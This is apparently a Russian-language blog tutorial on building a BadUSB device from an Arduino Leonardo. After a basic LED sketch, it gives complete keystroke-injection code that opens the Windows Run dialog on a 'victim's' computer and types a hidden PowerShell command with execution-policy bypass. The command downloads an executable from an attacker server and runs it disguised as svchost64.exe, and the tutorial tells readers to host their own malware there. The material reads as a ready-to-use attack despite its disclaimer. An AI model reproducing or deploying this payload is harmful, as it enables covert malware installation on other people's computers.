hackware
November 6, 2024

Arduino - свой флиппер за 1000 рублей (делаем BadUSB)

Дисклеймер: все описанные действия предоставлены автором в ознакомительных целях. Большое спасибо моему товарищу подарившему и научившему азам использования данной прекрасной платы♥

Введение

Сегодня мы с вами разберем плату Arduino Leonardo - купить можно тут (внимание - Китай, подделка, но в принципе работает нормально).

Для сегодняшних манипуляций она более чем подойдет. Более подробно про разные платы можете почитать здесь (VPN maybe required) и здесь.

Arduino служит платой микроконтроллера. По сути это миникомпьютер, к которому можно прицепить нужные тебе модули и сделать полноценный карманно-носимый хакерский гаджет.

В этой статье мы с вами изучим атаку типа BadUSB с помощью Arduino Leonardo, в котором уже зашита поддержка эмуляции клавиатуры и мыши.

BadUSB - это атака, при которой подключенное к пк устройство распознается как клавиатура или мышь, и дальше исполняет payload (от англ. полезная нагрузка) для запуска вредоносного кода.

Начало программирования с Arduino

Для начала нам понадобится:

  1. Плата Arduino Leonardo - купить можно например тут.
  2. Программа Arduino IDE - скачать.
  3. Возможно type-c провод для подключения платы к пк (если не придет вместе с платой).

И так, скачиваем и устанавливаем Arduino IDE.

Затем вам может потребоваться скачать и установить драйвер.

После установки перезагружаем пк, подключаем нашу плату к пк и запускаем прогу.

Ждем пока прога докачает и установит необходимые библиотеки.

Вся документация по установке, программированию, библиотекам и прочему - тут.

Для начала выберем наше устройство в меню подключенных устройств.

Затем зайдем в Tools и выберем следующие настройки

И так, после этого наша первичная настройка завершена.

Перейдем к разбору примера кода с codeby:

/* Мигание LED * ----------— * codeby.net * Включает и выключает светодиод (LED) подсоединенный * к выходу 13, с интервалом в 1 секунду * */ int ledPin = 13; // LED подсоединен к выводу 13 void setup () { pinMode (ledPin, OUTPUT); // устанавливаем вывод 13 как выход } void loop () { digitalWrite (ledPin, HIGH); // включаем LED delay (1000); // пауза 1 секунда digitalWrite (ledPin, LOW); // выключаем LED delay (1000); // пауза 1 секунда }

Здесь мы с вами подключаемся к нашему LED экрану на 13 выводе и пишем программу, чтобы у нас мигала лампочка каждую секунду (5 сек решил долго будет).

В void setup мы задаем как бы построчное исполнение программы, как в том же python условно говоря.

В void loop мы задаем также построчно программу, но это уже что-то вроде зацикленного цикла типа While True, так что здесь код будет постоянно повторяться вновь и вновь, что нам и нужно для того чтобы не писать самим бесконечный цикл на мигание лампочки.

Кстати если мы зайдем в File > Examples то увидим большое количество примеров кода, тыкнув на который у нас подгрузится готовый код. Мы его можем зашить в нашу плату и проверить работу, а также ознакомиться с самим кодом.

Так вот. Для того чтобы прошить наш код, нажимаем сочетания клавиш ctrl+R (компиляция и проверка кода). Если всё прошло без ошибок, то ctrl+U - это прошивка программы в нашу плату.

Пробуем, жмем ctrl+R:

Компиляция успешна, жмем ctrl+U

На китайской плате выдаёт такую ошибку, но это рукожопость недостаток самих плат собранных в подвале на коленке. Программа должна работать, проверьте, мигает ли у вас светодиод.

Мы можем изменить время включения и выключения лампочки, поменяв значение в delay (1000) на своё. Обратите внимание, значение даётся в миллисекундах.

Например поставим включенный светодиод на 1 сек, а выключенный на 0.5 сек:

Теперь у нас как-бы светодиод будет подмигивать, то есть быть дольше во включенном состоянии, моргая на пол секунды. Можно сделать наоборот чтобы было что-то вроде моргания пожарной сигнализации, поменяв значения местами. Вообщем, развелкайтесь).

Кстати код достаточно понятный, например в digitalWrite () видно, что значение HIGH отвечает за включение светодиода, а LOW за его выключение.

Обратите внимание!

После объявление глобальной функции void setup или void loop идёт следующий синтаксис:

  1. Открываются вот такие скобки {}
  2. Внутри них пишется на одной строчке команда.
  3. Если это функция, то значение через пробел пишутся в таких скобках () и отделяются между собой запятой
  4. Каждая строчка заканчивается точкой с запятой ;

Ну вот в общем то и всё, пойдемте тестить badusb код.

Простой BadUSB без цикла

Разберём простой код:

#include <Keyboard.h> void setup() { Keyboard.begin(); delay(2000); Keyboard.press(KEY_LEFT_GUI); Keyboard.press('r'); delay(50); Keyboard.releaseAll(); }

void loop() {

}

Такой простой код запустит на компьютере жертвы при подключении нашей платы программу Выполнить, встроенную в Windows.

Разберем что здесь написано:

  1. #include <Keyboard.h> - подключает библиотеку по работе с клавиатурой. Документация.
  2. Keyboard.begin(); - инициализирует библиотеку. Наша плата начинает эмулировать клавиатуру.
  3. delay(2000); - даём паузу 2 секунды чтобы всё прогрузилось
  4. Keyboard.press(KEY_LEFT_GUI); - кнопка левого виндовс (или комманд если macos и т.д.)
  5. Keyboard.press('r'); - кнопка r
  6. delay(50); - примерное время в 50 мсек, чтобы кнопки успели нажаться системой
  7. Keyboard.releaseAll(); - отжимает все кнопки.

И так, теперь ещё раз:

  • Keyboard.begin(); делает из нашей платы клавиатуру (не забудьте вначале импортировать библиотеку командой #include <Keyboard.h>)
  • delay(мсек) даёт нам паузу. 2000 мсек нужно чтобы библиотека успела прогрузиться платой и системой, 50-75 мсек нужно для того чтобы клавиша прожалась
  • Keyboard.press (клавиша) выполняет функцию ЗАЖАТИЯ клавиши. Мы можем передать пробел и любую клавишу внутри скобок в кавычках, напр. Keyboard.press (' ') или Keyboard.press ('g'). Если нам нужно зажать ctrl или подобную клавишу, смотрим документацию, напр. шифт это KEY_LEFT_SHIFT и будет команда выглядеть так: Keyboard.press (KEY_LEFT_SHIFT). Что важно - БЕЗ КАВЫЧЕК.
  • Keyboard.releaseAll() ОТЖИМАЕТ ВСЕ КНОПКИ!!! Если не отжать то зажатые клавиши не дадут нормально пользоваться пк, не говоря о том что ваш payload не сможет выполниться. Хотя если у вас цель похулиганить можете убрать эту функцию и поприкалываться над товарищами.
  • И ещё есть команда Keyboard.release(клавиша) которая отжимает конкретную клавишу, если это вам конечно понадобится.

С кодом разобрались, давайте запустим команду:

Всё работает, остается только написать payload.

Давайте допишем нашу программу следующим образом:

#include <Keyboard.h> void setup() { Keyboard.begin(); delay(2000); Keyboard.press(KEY_LEFT_GUI); Keyboard.press('r'); delay(50); Keyboard.releaseAll(); Keyboard.press('c'); delay(45); Keyboard.releaseAll(); Keyboard.press('m'); delay(45); Keyboard.releaseAll(); Keyboard.press('d'); delay(45); Keyboard.releaseAll(); Keyboard.press(' '); delay(45); Keyboard.releaseAll(); Keyboard.press('/'); delay(45); Keyboard.releaseAll(); Keyboard.press('c'); delay(45); Keyboard.releaseAll(); Keyboard.press(' '); delay(45); Keyboard.releaseAll(); Keyboard.press('n'); delay(45); Keyboard.releaseAll(); Keyboard.press('o'); delay(45); Keyboard.releaseAll(); Keyboard.press('t'); delay(45); Keyboard.releaseAll(); Keyboard.press('e'); delay(45); Keyboard.releaseAll(); Keyboard.press('p'); delay(45); Keyboard.releaseAll(); Keyboard.press('a'); delay(45); Keyboard.releaseAll(); Keyboard.press('d'); delay(45); Keyboard.releaseAll(); Keyboard.press('&'); delay(45); Keyboard.releaseAll(); Keyboard.press('c'); delay(45); Keyboard.releaseAll(); Keyboard.press('a'); delay(45); Keyboard.releaseAll(); Keyboard.press('l'); delay(45); Keyboard.releaseAll(); Keyboard.press('c'); delay(45); Keyboard.releaseAll(); Keyboard.press(KEY_RETURN); Keyboard.releaseAll(); }

void loop() {

}

Алгоритм здесь следующий - мы просто хотим выполнить в программе Выполнить команду cmd /c notepad&calc которая запустит с помощью командной строки блокнот и клавиатуру.

Чтобы нам нажать на одну кнопку нам нужно написать три строчки:

Keyboard.press('кнопка'); delay(45); Keyboard.releaseAll();

Пробуем запустить прогу:

Как видим всё запустилось. Но если мы переключим раскладку на русский то всё поломается:

Закачиваем и запускаем вирусы

Теперь разберем код для скрытой загрузки и запуска файла:

#include<Keyboard.h> #define KEY_DELAY 50 const char command [] = " " ; void setup() { Keyboard.begin(); delay(3000); }

void loop() { //Pressing Win+r shortcut Keyboard.press(KEY_LEFT_GUI); Keyboard.press('r'); delay(KEY_DELAY); Keyboard.releaseAll(); delay(KEY_DELAY*5); Keyboard.println("powershell -NoP -NonI -W Hidden -Exec Bypass \"IEX (New-Object System.Net.WebClient).DownloadFile('http://server_ip/file.exe',\\\"$env:temp\\svchost64.exe\\\"); Start-Process \\\"$env:temp\\svchost64.exe\\\"\""); delay(KEY_DELAY*5);//A delay to ensure that cmd window has been started delay(10000000); }

Создаем VPS, устанавливаем apache2, загружаем на сервер наш вредонос. Забираем на него ссылку:

Вставляем ссылку в Keyboard.println () где это написано. прям в кавычки:

Keyboard.println("powershell -NoP -NonI -W Hidden -Exec Bypass \"IEX (New-Object System.Net.WebClient).DownloadFile('http://62.113.104.126/crack.exe,\\\"$env:temp\\svchost64.exe\\\"); Start-Process \\\"$env:temp\\svchost64.exe\\\"\"");

Прошиваем и проверяем ctrl+U:

Как видим программа успешно скачалась и запустилась

Вам останется только поменять ссылку в кавычках DownloadFile('http://server_ip/file.exe', на своё значение.

Теперь остается затронуть последний момент - цикл.

Делаем цикл for для автоматизации ввода команды

Рассмотрим такой код:

#include <Keyboard.h> void setup() { Keyboard.begin(); delay(2000);

Keyboard.press(KEY_LEFT_GUI); Keyboard.press('r'); delay(50); Keyboard.releaseAll();

char* x = "cmd /c notepad&calc";

for (int i = 0; i < strlen(x); i++) { Keyboard.press(x[i]); delay(50); Keyboard.releaseAll(); } Keyboard.press(KEY_RETURN); delay(50); Keyboard.releaseAll(); }

void loop() {

}

Здесь в общем то вписывается в программу Выполнить команда cmd /c с последующей полезной нагрузкой. Но чтобы нам не вводить символы вручную, за нас создается счётчик i, который проходится по каждому символу из переменной x.

Всё что вам нужно - поменять содержимое x на своё, например:

char* x = "powershell -NoP -NonI -W Hidden -Exec Bypass \"IEX (New-Object System.Net.WebClient).DownloadFile('http://server_ip/file.exe',\\\"$env:temp\\svchost64.exe\\\"); Start-Process \\\"$env:temp\\svchost64.exe\\\"\"";

Тут как видим у нас ошибка из-за того что первая буква не успевает нажаться:

Попробуем добавить немного задержки после открытия программы Выполнить:

Теперь проверяем и всё работает:

Выводы

Arduino - достаточно дешевые и эффективные платы, которые подходят для самых различных задач, начиная от имитации клавиатур и мышек, заканчивая анализаторами радиотраффика и даже роботами.

В отличии от готовых флагманских решений типа Flipper Zero или HackRF ONE, arduino учит легкому погружению в язык программирования C, самостоятельному решению задач и сборке собственных портативных устройств для хакинга.

Подобные микроконтроллеры станут отличным стартом в мир аппаратного хакинга и сильно повысят ваши скиллы на фоне других участников комьюнити.

Благодарю за прочтение статьи.

Готовые скетчи с кодом для Arduino IDE можно скачать здесь.

Список полезной литературы

https://xss.is/forums/5/

https://xss.is/threads/76979/

https://xss.is/threads/125276/

https://xss.is/threads/124180/

https://xakep.ru/?s=arduino

https://xakep.ru/2021/06/17/gsm-ducky/

https://codeby.net/forums/oborudovanie-dlja-pentesta.192/

https://codeby.net/threads/besprovodnaja-hid-ataka-s-ispolzovaniem-arduino-mkr1000-utochka-dlja-wi-fi-seti.73761/

https://codeby.net/threads/kontroller-graficheskogo-interfejsa-dlja-proektov-arduino-remotexy.72260/

https://codeby.net/threads/sobiraem-dongl-dlja-raboty-s-beskontaktnymi-kartami.72019/

https://codeby.net/threads/bad-usb-ili-kak-ja-utok-razvodil-prakticheskoe-posobie-po-rubber-duck.71821/

https://codeby.net/threads/opredeljaem-kto-doma-s-pomoschju-esp8266.66662/

https://codeby.net/threads/arduino-totp-ili-google-authenticator-svoimi-rukami.61344/